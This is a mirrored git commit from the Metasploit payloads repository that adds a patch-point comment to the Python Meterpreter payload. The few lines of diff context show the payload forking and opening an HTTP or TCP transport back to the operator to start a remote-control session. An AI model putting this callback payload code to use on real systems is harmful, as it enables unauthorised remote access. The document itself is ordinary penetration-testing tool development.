mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-26 17:41:08 +01:00
Add patch points for stageless python meterpreter
This commit is contained in:
parent
0a8b8967dd
commit
000eb77f11
@ -1106,6 +1106,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if HTTP_CONNECTION_URL and has_urllib:
|
||||
transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT)
|
||||
else:
|
||||
# PATCH-SETUP-STAGELESS-TCP-SOCKET #
|
||||
transport = TcpTransport.from_socket(s)
|
||||
met = PythonMeterpreter(transport)
|
||||
# PATCH-SETUP-TRANSPORTS #
|
||||
met.run()
|
||||
|
Loading…
Reference in New Issue
Block a user